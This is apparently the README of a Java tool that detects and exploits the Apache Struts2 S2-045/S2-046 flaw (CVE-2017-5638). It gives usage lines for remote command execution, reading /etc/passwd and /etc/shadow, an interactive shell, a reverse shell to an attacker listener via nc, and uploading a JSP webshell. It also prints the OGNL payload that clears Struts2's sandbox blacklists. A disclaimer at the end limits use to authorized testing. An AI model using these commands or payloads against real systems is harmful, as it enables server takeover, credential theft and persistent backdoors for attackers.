
Struts2 S2-045/S2-046 CVE-2017-5638 検出・悪用ツール
| モジュール | サブコマンド | 説明 |
|---|
| 脆弱性検出 | scan | S2-045 / S2-046 の検出(数学検証 + UUID フィンガープリントマーキング) |
| バッチスキャン | batch | 複数ターゲットの一括検出、集計と JSON レポートを出力 |
| コマンド実行 | exec | 任意システムコマンド実行 + 出力表示(Win/Linux 自動対応) |
| 対話型シェル | shell | 継続的対話、cd ディレクトリ永続化、pwd/webroot/os 組み込みコマンド |
| ファイルアップロード | upload | OGNL 直接書き込み(小ファイル)/ コマンド分割書き込み(大ファイル) |
| ファイルダウンロード | download | Base64 エンコードダウンロード(バイナリセーフ) |
| Web ルートディレクトリ | getpath | Web アプリケーションの物理デプロイパスを取得 |
| システム情報 | sysinfo | OS / ユーザー / カーネル / 作業ディレクトリ情報 |
| リバースシェル | revshell | ワンクリックで bash / PowerShell シェルをリバース接続 |
| Webshell アップロード | webshell | JSP Webshell を生成・アップロード(平文 ?CMD= スタイル) |
| レポート出力 | scan -r | JSON / HTML レポート |
ダウンロード機能はサーバー上の任意のファイル(例:
/etc/shadow)を読み取ることができます。認可テストでのみ使用してください。
:: プロジェクトディレクトリで実行
.\build.bat
PowerShell では
.\プレフィックスが必要です。cmd では直接build.batと入力できます。 build.bat はビルドのみを行い、ネットワークリクエストやスキャンは一切実行しません。 ビルド完了後、ウィンドウは開いたまま cmd セッションに入ります(ツールコマンドを直接実行可能。exitで閉じます)。 Maven のデフォルトリポジトリに書き込めない環境では、環境変数M2_REPOを書き込み可能なディレクトリに設定してください。
成果物:target\s2tool.jar(fat-jar)。
Linux/Mac は
build.shを参照してください
# 1. 脆弱性検出
java -jar s2tool.jar scan http://target/action
# 2. 検出 + JSON/HTML レポート出力
java -jar s2tool.jar scan http://target/action -r both
# 3. コマンド実行
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. 対話型シェル
java -jar s2tool.jar shell http://target/action
# 5. Web ルートディレクトリ / システム情報の取得
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. ファイルのアップロード / ダウンロード
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. ワンクリック Webshell アップロード(平文 ?CMD= スタイル)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# アクセス: http://target/shell.jsp?CMD=whoami
# 8. リバースシェル(攻撃機で先に待受: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. バッチスキャン
java -jar s2tool.jar batch targets.txt -r json
# コメント行は # で始まる(自動的に無視)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
公式発表のバージョン範囲(両脆弱性とも Apache 公式発表に基づき、対象が影響を受けるかの評価用に提供):
| 脆弱性 | CVE | 影響を受けるバージョン(脆弱性のあるバージョン) | 修正バージョン(パッチ適用済みバージョン) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 または 2.5.10.1 以上 |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 または 2.5.10.1 以上 |
本ツールはバージョン番号に依存せず、直接 Payload の探知結果から脆弱性の有無を判定します。 バージョン識別は信頼性が低いためです(多くのサイトがバージョン番号を隠蔽しています)。上表は手動評価時の参考用であり、 ツールの検出ロジックには影響しません。
S2-046 については、filename ヌルバイト注入と Content-Type 同一根本原因の2つの検出パスをサポートしています。
脆弱性の原理:
Content-Type;S2-046:Content-Disposition の filename)を例外メッセージに連結し、
例外メッセージは Struts2 の国際化テキスト処理フロー(TextParseUtil.translateVariables)を通じて OGNL 評価されます(#nike='multipart/form-data') // Content-Type を偽装し、contains チェックを通過
(#[email protected]@DEFAULT_MEMBER_ACCESS) // 最高権限の MemberAccess を取得
(#_memberAccess?(#_memberAccess=#dm): // 低バージョン:直接置換
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // パッケージ名ブラックリストをクリア
(#ognlUtil.getExcludedClasses().clear()) // クラスブラックリストをクリア
(#context.setMemberAccess(#dm)))) // 高バージョン:ブラックリストクリア後に置換
実測:Struts2 2.3.30 では簡易版(
setMemberAccessのみ)ではサンドボックスを回避できず、 完全版(OgnlUtil によるブラックリストクリアパスを含む)が必要です。
| 技術 | 原理 | 説明 |
|---|---|---|
| 数学演算検証 | OGNL で 88888888-23333+1222 を実行し、レスポンスに 88866777 が含まれれば存在 | 公開 POC 計算式 |
| UUID フィンガープリントマーキング | ランダム UUID を注入し、レスポンスボディに反映 | 高精度、ネットワーク遅延の影響を受けない |
| 遅延検出 | Thread.sleep(6000) の時間差(S2-045 の出力なしフォールバックのみ) | 閾値 >3.6s |
判定ルール:数学検証またはフィンガープリントマーキングのいずれかがヒット → 存在を確認;遅延のみヒット → 存在の疑い; すべて未ヒット → 存在しない。
struts2-vuln-tool/
├── pom.xml # Maven ビルド(shade で fat-jar パッケージ)
├── build.bat / build.sh # ビルドスクリプト(Windows 検証済み / Linux 参考)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # メインエントリ(Picocli CLI)
│ ├── core/ # コアエンジン:HTTP クライアント / Payload 構築 / レスポンス解析 / ターゲット解析
│ ├── plugins/ # 脆弱性プラグインアーキテクチャ(拡張ポイント)
│ │ └── impl/ # S2_045 / S2_046 検出プラグイン
│ ├── modules/ # 機能モジュール:検出スケジューラ / フィンガープリント識別 / コマンド実行 / ファイル管理 / Shell など
│ ├── report/ # レポート生成(コンソール / JSON / HTML)
│ └── utils/ # ログツール
├── src/main/resources/ # ログ設定 / Payload 参考
└── src/test/ # JUnit ユニットテスト
脆弱性の原理と技術記事:
参考にしたオープンソースプロジェクト(本プロジェクト開発時に以下のリポジトリのアイデアと Payload を参考にしました):
認可されたセキュリティテストおよび学習研究目的にのみ使用できます。
認可のない不正利用は厳禁であり、利用者はすべての法的責任を自己負担するものとします。